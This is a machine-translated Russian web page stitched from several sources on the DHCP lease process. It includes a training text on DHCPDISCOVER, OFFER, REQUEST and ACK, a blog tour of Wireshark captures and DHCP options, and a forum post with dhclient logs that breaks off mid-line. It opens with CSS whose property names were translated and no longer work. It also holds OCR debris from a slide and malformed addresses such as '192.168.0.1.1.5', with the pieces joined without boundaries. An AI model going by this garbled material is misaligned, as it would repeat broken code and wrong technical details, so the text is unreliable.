div # horizontalNavigation: not (: empty) [style = ‘margin-top: 5px;’] + div # body> div [style = ‘маржа слева: 18 пикселей; поле справа: 18 пикселей; маржа сверху: 20 пикселей; padding-bottom: 20px; ‘] { min-height: calc (100vh — 236px)! important; } div # content> div # horizontalNavigation: not (: empty) [style = ‘margin-top: 5px;’] + div # body> div { min-height: calc (100vh — 196px)! important; } div # content> div # horizontalNavigation: not (: пусто) + div # body> div [style = ‘маржа слева: 18 пикселей; поле справа: 18 пикселей; маржа сверху: 20 пикселей; padding-bottom: 20px; ‘] { min-height: calc (100vh — 231px)! important; } div # content> div # horizontalNavigation: not (: пусто) + div # body> div { min-height: calc (100vh — 191px)! important; } / * для страниц без мегаменю * / div # content> div # horizontalNavigation [style = ‘margin-top: 5px;’] + div # body> div [style = ‘маржа слева: 18 пикселей; поле справа: 18 пикселей; маржа сверху: 20 пикселей; padding-bottom: 20px; ‘] { min-height: calc (100vh — 170px)! important; } div # content> div # horizontalNavigation [style = ‘margin-top: 5px;’] + div # body> div [style = ‘padding-bottom: 25px;’] { min-height: calc (100vh — 160px)! important; } div # content> div # horizontalNavigation [style = ‘margin-top: 5px;’] + div # body> div { min-height: calc (100vh — 135px)! important; } div # content> div # horizontalNavigation + div # body> div [style = ‘маржа слева: 18 пикселей; поле справа: 18 пикселей; маржа сверху: 20 пикселей; padding-bottom: 20px; ‘] { min-height: calc (100vh — 165px)! important; } div # content> div # horizontalNavigation + div # body> div [style = ‘padding-bottom: 25px;’] { min-height: calc (100vh — 155px)! important; } div # content> div # horizontalNavigation + div # body> div { min-height: calc (100vh — 130px)! important; } / * для страниц ошибок прокси * / p # proxy_error { маржа сверху: 0px! важно; padding-top: 10 пикселей! важно; } ]]>Как работает процесс создания аренды DHCP
DHCP-клиент jj] DHCP-клиент передает пакет DHCPDISCOVER
2 \ DHCP-серверы передают пакет DHCP OFFER
J] DHCP-клиент передает пакет DHCPREQUEST
% — ‘i /’ 4 I DHCP Serverl передает пакет DHC PACK
DHCP-клиент
Введение
НЕЗАКОННО ИСПОЛЬЗУЕТСЯ НЕ ТРЕНЕРАМИ
DHCP использует четырехэтапный процесс для предоставления информации IP-адресации в аренду клиентам DCHP.Эти четыре шага названы в честь типов пакетов DHCP.
1. Обнаружение DHCP
2. Предложение DHCP
3. Запрос DHCP
4. Подтверждение DHCP или отрицательное подтверждение DHCP
Определение
DHCP-клиент передает пакет DHCPDISCOVER
Процесс создания аренды DHCP — это процесс, с помощью которого DHCP-клиент получает данные конфигурации IP-адресации от DHCP-сервера.
DHCP-клиент рассылает пакет DHCPDISCOVER, чтобы найти DHCP-сервер.Пакет DHCPDISCOVER — это сообщение, которое клиенты DHCP отправляют при первой попытке входа в сеть и запрашивают информацию об IP-адресе у DHCP-сервера.
Есть два способа начать процесс создания аренды. Первый возникает, когда клиентский компьютер либо запускается, либо инициализирует TCP / IP в первый раз. Второй происходит, когда клиент пытается продлить аренду, но ему отказывают. (Например, клиенту может быть отказано в продлении, если вы переместите его в другую подсеть.)
DHCP-сервер передает пакет DHCPOFFER
DHCP-клиент передает пакет DHCPREQUEST
DHCP-сервер передает пакет DHCPACK
Сервер DHCP передает клиенту пакет DHCPOFFER. Пакет DHCPOFFER — это сообщение, которое DHCP-серверы используют для предложения аренды IP-адреса DHCP-клиенту при его запуске в сети.
Каждый отвечающий DHCP-сервер резервирует предложенный IP-адрес, чтобы не предлагать его другому DHCP-клиенту до принятия запрашивающим клиентом.
Если клиент не получает предложение после четырех запросов, он использует IP-адрес в зарезервированном диапазоне от 169.254.0.1 до 169.254.255.254. Использование одного из этих автоматически настраиваемых IP-адресов гарантирует, что клиенты, находящиеся в подсети с недоступным DHCP-сервером, смогут взаимодействовать друг с другом. Клиент DHCP продолжает попытки найти доступный сервер DHCP каждые пять минут. Когда DHCP-сервер становится доступным, клиенты получают действительные IP-адреса, позволяя этим клиентам связываться с хостами как в своей подсети, так и за ее пределами.
DHCP-клиент передает пакет DHCPREQUEST. Пакет DHCPREQUEST — это сообщение, которое клиент отправляет серверу DHCP, чтобы запросить или продлить аренду IP-адреса клиента.
DHCP-клиент отвечает на первый полученный пакет DHCPOFFER путем широковещательной рассылки пакета DHCPREQUEST, чтобы принять предложение. Пакет DHCPREQUEST включает идентификацию сервера, предложение которого клиент принял. Затем все остальные DHCP-серверы отозвают свои предложения и сохранят свои IP-адреса для других запросов на аренду IP.
Сервер DHCP передает клиенту пакет DHCPACK. Пакет DHCPACK — это сообщение, которое DHCP-сервер отправляет клиенту для подтверждения и выполнения запроса клиента на арендованную конфигурацию. Это сообщение содержит действительную аренду для IP-адреса и других данных конфигурации IP.
Когда DHCP-клиент получает подтверждение, TCP / IP инициализируется с использованием данных конфигурации IP, которые предоставляет DHCP-сервер. Клиент также связывает протокол TCP / IP с сетевыми службами и сетевым адаптером, позволяя клиенту обмениваться данными в сети.
Сервер DHCP отправляет отрицательное подтверждение DHCP (пакет DHCPNAK), если предложенный IP-адрес больше не действителен или сейчас используется другим компьютером. Затем клиент должен снова начать процесс аренды.
Важно! DHCP-сервер и DHCP-клиент обмениваются данными с помощью портов 67 и 68 протокола дейтаграмм пользователя (UDP). По умолчанию некоторые коммутаторы неправильно пересылают широковещательные сообщения DHCP. Для правильной работы DHCP вам может потребоваться настроить эти коммутаторы для пересылки широковещательных сообщений через эти порты.
Продолжить чтение: Как работает процесс продления аренды DHCP
Была ли эта статья полезной?
Как работает DHCP? — Процесс DHCP DORA с захватом пакетов. — GetLabsDone
Как DHCP работает в сети? Прежде чем мы ответим на этот вопрос, нам нужно понять различные способы настройки IP-адресов.
Вы можете использовать конфигурацию DHCP или статического IP.
Возможно, вы уже знаете статическую конфигурацию IP-адреса на компьютере.
Это требует, чтобы вы зашли в свойства сети сетевых хостов и вручную назначили следующее.
Сначала вы настраиваете IP-адрес, маску подсети, маршрутизатор / шлюз по умолчанию, DNS и так далее.
Представьте, сколько времени у вас уходит на настройку IP-адреса для одного хоста? Может, скажем, минутку или две, верно?
Теперь, учитывая этот сценарий. Предположим, у вас есть сотни или даже тысячи сетевых хостов в сети, которой требуются IP-адреса.
Можно ли назначать IP-адреса на сетевых узлах вручную на каждом устройстве один за другим?
Да, это возможно, но на их настройку уходит ЧАСЫ, поскольку это статическая IP-конфигурация.
Однако должен быть лучший способ автоматизировать этот процесс, и да, есть лучший способ. Вот когда вам на помощь приходит DHCP (протокол динамической конфигурации хоста).
Что такое DHCP и как он работает?
DHCP (протокол динамической конфигурации хоста) устраняет указанную выше проблему путем автоматической настройки или назначения IP-адреса на сетевых устройствах.Не только IP-адрес, другие параметры, с помощью опций DHCP.
Клиент может запросить IP-адрес, и DHCP-сервер будет обслуживать запрос, используя процесс DHCP DORA.
В этом блоге мы узнаем, как DHCP работает в сети, и рассмотрим некоторые из основных пакетов DHCP с помощью Wireshark.
Что представляет собой процесс DHCP DORA в деталях?
Лучший способ запомнить, как работает процесс DHCP, — это запомнить аббревиатуру DORA, которая переводится как
D — Откройте для себя
O — Предложение
R — Запрос
A — Подтвердить
Это выглядит следующим образом .
Я выполнил захват пакетов в своей сети, и теперь давайте посмотрим на каждый пакет DHCP с помощью захвата Wireshark.
- Что такое обнаружение DHCP?
- Что такое DHCP-предложение?
- Что такое ЗАПРОС DHCP?
- Пакет DHCPACK
Что такое адрес без DHCP?
1. Что такое обнаружение DHCP?
Момент, когда клиент с включенным DHCP подключается к сети, проводной или беспроводной,
Шаг1. Он отправляет сообщение DHCP Discover в сеть в виде широковещательной рассылки. В этом примере предположим, что клиент DHCP является «клиентом A», и он отправляет сообщение DHCPDISCOVER в сеть.
Шаг 2 . Коммутатор L2, который получает это сообщение, пересылает эту широковещательную рассылку на все подключенные к нему интерфейсы, за исключением интерфейса, от которого получено широковещательное сообщение, которым является интерфейс «Client A».
Когда это широковещательное сообщение DHCPDISCOVER получено всеми хостами в сети, все они будут игнорировать широковещательный пакет, кроме DHCP-сервера. Давайте рассмотрим этот пакет DHCPDISCOVER более подробно с помощью захвата пакетов Wireshark.
а.
Пакет DHCPDISCOVER в Wireshark.Этот DHCPDISCOVER будет показывать исходный MAC-адрес уровня 2 как MAC-адрес DHCP-клиента «Клиент A», а MAC-адрес назначения DHCP будет ff: ff: ff: ff: ff: ff, который является широковещательным MAC-адресом
b .
Формат пакета обнаружения DHCP. С момента широковещательной рассылки IP-адрес источника пакета DHCPDISCOVER будет 0.0.0.0, конечно, DHCP-клиент не имеет изначально IP-адреса, который мы в конечном итоге получим :).
Кроме того, IP-адрес назначения будет 255.255.255.255, см. Ниже.
Вы также можете видеть, что DHCP использует UDP-порт 68 для клиента и 67 для связи с сервером.
Когда я разверну последнее поле дейтаграммы, я смог увидеть более подробную информацию об этом протоколе. Например, это пакет DHCP Discover, и я мог видеть IP-адрес клиента, MAC-адрес клиента, параметры DHCP, которые различаются для каждого клиента и DHCP-связи сервера.
Вы также можете снова увидеть то же имя хоста DHCP в параметрах обнаружения DHCP, и это должно быть имя хоста клиента DHCP.
2.
Что такое DHCP-предложение? DHCP-сервер, который прослушивает эти пакеты DHCP Discover на UDP-портах с номерами 67, , получит этот пакет DHCPDISCOVER.
Теперь DHCP-сервер должен обработать этот запрос, заглянув в свою DHCP-область, которая настроена ранее, и выбирает IP-адрес из подсети и назначает его DHCP-клиенту.
В нашем сценарии у нас есть область DHCP 192.168.1.0/24, , из которой я исключаю первые 20 используемых IP-адресов (192.168.1.0-192.168.1.20) с использованием исключенного адреса DHCP
Примечание. Если вас интересует пошаговая настройка DHCP на устройствах cisco, щелкните здесь.
Сервер выбирает IP-адрес из пула адресов и снова отвечает сообщением DHCPOFFER как BROADCAST.
Это похоже на то, как человек идет в отель и пытается забронировать номер, а администратор показывает номер комнаты и говорит, что это номер комнаты, в которой вы могли бы остановиться в течение следующих 24 часов, вы согласны с этим :).Точно так же DHCP-сервер будет спрашивать клиента в сообщении с предложением. Я назначаю вам этот IP-адрес. Если вас это устраивает, вы можете запросить это.
а. Пакет DHCP OFFER в Wireshark.
Вы можете увидеть адрес источника Ethernet как MAC-адрес DHCP-сервера, а пункт назначения — это широковещательный адрес ff: ff: ff: ff: ff: ff, это противоположно тому, что мы видели в пакете DHCPDiscover.
Второе поле — это заголовок IP-пакета, в котором вы можете найти исходный IP-адрес сервера как 192.168.0.1.1.5 и пункт назначения снова транслируют IP-адрес 255.255.255.255
Последним в этом захвате пакета Wireshark является протокол Bootstrap (предложение), который переводится в предложение DHCP, здесь вы должны увидеть фактический IP-адрес, который DHCP-сервер собирается назначить. клиента, см. выделенную часть.
г.
Что такое параметры DHCP? Параметры DHCP вы можете думать об этом как об условиях и дополнительных услугах, которые вы получите при аренде / аренде гостиничного номера.
В настоящее время современная сеть поддерживает больше вариантов DHCP, чем традиционная сеть, традиционная сеть использовала лишь некоторые из них.
Давайте теперь посмотрим на важные параметры в этом пакете предложения DHCP.
Параметр DHCP 53 сообщает, что это пакет предложения DHCP.
Это было легко, не правда ли?
Опция 54, известная как идентификатор DHCP-сервера, сообщает клиенту, что IP-адрес DHCP-сервера 192.168.1.5
c.
Время аренды DHCPВремя аренды DHCP — это время, в течение которого клиент может сохранять IP-адрес в своей конфигурации.По истечении срока аренды клиент должен запросить новый IP-адрес, но это еще не все. Давайте теперь посмотрим на них.
Опция 51 — здесь клиент узнает время аренды DHCP. По умолчанию время аренды DHCP составляет 24 часа. Вы можете изменить значение по умолчанию по своему желанию. Чем больше вы сокращаете время аренды DHCP, тем больше клиентов будет отправлять DHCP-пакет, это не очень хорошая идея, когда у вас больше устройств в сети, чтобы сократить время аренды DHCP.
г.
Время обновления DHCP Теперь вы можете подумать, что такое значение времени обновления параметра 58?
Это значение составляет половину времени аренды DHCP, в нашем случае 12 часов, поскольку мы следуем времени аренды по умолчанию, которое составляет 24 часа.
По достижении времени обновления DHCP клиент отправит DHCPREQUEST как одноадресную рассылку на сервер, поскольку они оба уже знают, как связаться друг с другом, и сервер отвечает как DHCPACK, теперь клиент может сохранить арендованный IP-адрес и сбросить DHCP. время аренды по умолчанию, снова 24 часа.
эл.
Значение повторной привязки DHCP Что делать, если сервер не отвечает на запрос DHCP?
В это время клиент будет продолжать отправлять DCHPREQUEST, пока не достигнет значения повторной привязки DHCP, которое является параметром 59.
По истечении времени повторной привязки, которое в нашем случае составляет 21 час, запрос DHCP, который клиент отправлял как одноадресная передача , изменится на рассылает , чтобы узнать, есть ли в сети какой-либо другой DHCP-сервер, который может обслуживать этот DHCP-запрос.
Варианты 1 и 3 просты. Они представляют собой маску подсети IP-адреса и шлюза / маршрутизатора по умолчанию соответственно для клиента.
Теперь вы получили некоторое представление о параметрах DHCP. В DHCP доступно множество опций, так как я не могу объяснить их все в этом блоге, вы можете проверить все опции DHCP здесь.
3.
Что такое ЗАПРОС DHCP?Пришло время клиенту ответить на DHCPOFFER, который он получил от DHCP-сервера, с помощью DHCPREQUEST. Это сообщение DHCP-запроса говорит, что я согласен с предложенным вами IP-адресом, и позвольте мне запросить то же самое.
вы можете увидеть опцию 50 в DHCPREQUEST, в которой говорится, что запрошенный IP-адрес 192.168.1.22
DHCP-запрос является широковещательным или одноадресным?
Мы все еще не назначили IP-адрес сетевому узлу, поэтому запрос DHCP по-прежнему является широковещательным сообщением.
а. ЗАПРОС DHCP в wirehark.
4.
Пакет DHCPACK (подтверждение DHCP)Заключительный этап процесса dhcp известен как DHCPACK.
На этом этапе DHCP-сервер должен подтвердить, что он арендовал IP-адрес клиенту A и может использовать этот IP-адрес 192.168.1.22 на следующие 24 часа.
Давайте посмотрим на пакет DHCPACK в Wireshark и на IP-адрес клиента в захвате пакета.
Что такое адрес без DHCP? Помните, я говорил об исключенном адресе DHCP. Что это?
В некоторых IP-сетях сетевым узлам не требуется настраивать IP-адрес с помощью DHCP, например, принтеры, серверы, сетевое оборудование и т. Д. Поскольку его IP-адрес никогда не изменится, и в большинстве случаев с ним также будет связана запись DNS. .
Сетевой администратор предпочитает настраивать эти IP-адреса статически.
Как исключить адреса в DHCP?
При настройке пула адресов DHCP и его области можно назначить любой из диапазонов подсети для выделения для исключенного адреса DHCP.
Например, в подсети 192.168.1.0/24 у нас может быть 254 IP-адреса, начиная с 192.168.1.1 и заканчивая 192,168.1.254.
Мы можем исключить диапазон подсети, начиная с 192.168.1.1 до 192.168.1.20.
Когда я добавляю это исключение, DHCP-сервер начинает назначать IP-адрес, начиная с 192.168.1.21.
Надеюсь, теперь вы знаете, как работает DHCP, и немного понимаете, какие параметры DHCP являются важными.
В случае, если я что-то пропустил, вы можете сообщить мне об этом в разделе комментариев ниже.
сообщить об этом объявленииСтранное поведение DHCP-клиента — Управление, сеть, ведение журнала и отчетность — Межсетевой экран UTM
Мое WAN-соединение осуществляется через кабельный модем, и DHCP-серверы моего интернет-провайдера, похоже, используют случайную продолжительность аренды при каждом продлении, примерно в диапазоне от шести до десяти часов.Все хорошо, но у моего UTM, похоже, возникают проблемы с продлением.Через половину интервала аренды он начинает отправлять запросы DHCPREQUEST на DHCP-сервер, который обслуживает его текущий адрес, однако они остаются без ответа, поэтому он продолжает попытки каждые десять секунд или около того в течение следующих трех-четырех часов, пока срок аренды не истечет, после чего он отправляет DHCPREQUEST на 255.255.255.255 только для того, чтобы получить DHCPACK для того же адреса с того же DHCP-сервера! Затем вся последовательность повторяется снова через несколько часов, генерируя сотни безответных запросов на продление.
У меня есть соблазн списать это на неправильную конфигурацию со стороны моего интернет-провайдера (который в прошлом доказал, что неспособен должным образом запускать другие службы), но я подумал, что выбросил бы его здесь, если есть какие-то Дальнейшую трассировку я могу включить, чтобы посмотреть, действительно ли проблема в их конце, особенно с тех пор, как я заметил, что в 9.003 (которую я использую) были внесены некоторые изменения в DHCP кабельного модема.
Вот соответствующие сообщения из системного журнала за последние пару дней.(Перезапуск демона в 17:10 был вызван тем, что я вручную отключил и снова включил интерфейс WAN.)
2012: 11: 01-01: 17: 11 astaro dhclient: DHCPREQUEST на eth4 на порт 67 255.255.255.255
2012: 11: 01-01: 17: 11 astaro dhclient: DHCPACK из 10.239.31.1
2012: 11: 01-01: 17: 11 astaro dhclient: привязан к 66.68.122.164 - обновление через 12593 секунды.
2012: 11: 01-04: 47: 04 astaro dhclient: DHCPREQUEST на eth4 на порт 67 10.239.31.1
2012: 11: 01-04: 47: 12 astaro dhclient: DHCPREQUEST на eth4 - 10.239.31.1 порт 67
2012: 11: 01-04: 47: 22 astaro dhclient: DHCPREQUEST на eth4 на порт 67 10.239.31.1
[...]
2012: 11: 01-08: 42: 53 astaro dhclient: DHCPREQUEST на eth4 на порт 67 10.239.31.1
2012: 11: 01-08: 43: 03 astaro dhclient: DHCPREQUEST на eth4 на порт 67 10.239.31.1
2012: 11: 01-08: 43: 16 astaro dhclient: DHCPREQUEST на eth4 на порт 67 10.239.31.1
2012: 11: 01-08: 43: 30 astaro dhclient: DHCPREQUEST на eth4 на порт 67 255.255.255.255
2012: 11: 01-08: 43: 30 astaro dhclient: DHCPACK с 10.239.31.1
2012: 11: 01-08: 43: 30 astaro dhclient: привязан к 66.68.122.164 - обновление через 15887 секунд.
2012: 11: 01-13: 08: 17 astaro dhclient: DHCPREQUEST на eth4 на порт 67 10.239.31.1
2012: 11: 01-13: 08: 25 astaro dhclient: DHCPREQUEST на eth4 на порт 67 10.239.31.1
2012: 11: 01-13: 08: 35 astaro dhclient: DHCPREQUEST на eth4 на порт 67 10.239.31.1
[...]
2012: 11: 01-17: 08: 53 astaro dhclient: DHCPREQUEST на eth4 на порт 67 10.239.31.1
2012: 11: 01-17: 09: 11 astaro dhclient: DHCPREQUEST на eth4 - 10.239.31.1 порт 67
2012: 11: 01-17: 09: 19 astaro dhclient: DHCPREQUEST на eth4 на порт 67 10.239.31.1
2012: 11: 01-17: 10: 50 astaro dhclient: Клиент DHCP Консорциума Интернет-систем 4.1-ESV-R6
2012: 11: 01-17: 10: 50 astaro dhclient: Copyright 2004-2012 Консорциум Интернет-систем.
2012: 11: 01-17: 10: 50 astaro dhclient: Все права защищены.
2012: 11: 01-17: 10: 50 astaro dhclient: Для получения информации посетите www.isc.org/.../
2012: 11: 01-17: 10: 50 astaro dhклиент:
2012: 11: 01-17: 10: 50 astaro dhclient: Прослушивание LPF / eth4 / 00: 15: 17: 8a [: D] 6: 4f
2012: 11: 01-17: 10: 50 astaro dhclient: отправка на LPF / eth4 / 00: 15: 17: 8a [: D] 6: 4f
2012: 11: 01-17: 10: 50 astaro dhclient: отправка по сокету / откат
2012: 11: 01-17: 10: 50 astaro dhclient: DHCPREQUEST на eth4 до 255.255.255.255 порт 67
2012: 11: 01-17: 10: 50 astaro dhclient: DHCPACK из 10.239.31.1
2012: 11: 01-17: 10: 51 astaro dhclient: привязан к 66.68.122.164 - обновление через 16147 секунд.
2012: 11: 01-21: 39: 58 astaro dhclient: DHCPREQUEST на eth4 на порт 67 10.239.31.1
2012: 11: 01-21: 40: 03 astaro dhclient: DHCPREQUEST на eth4 на порт 67 10.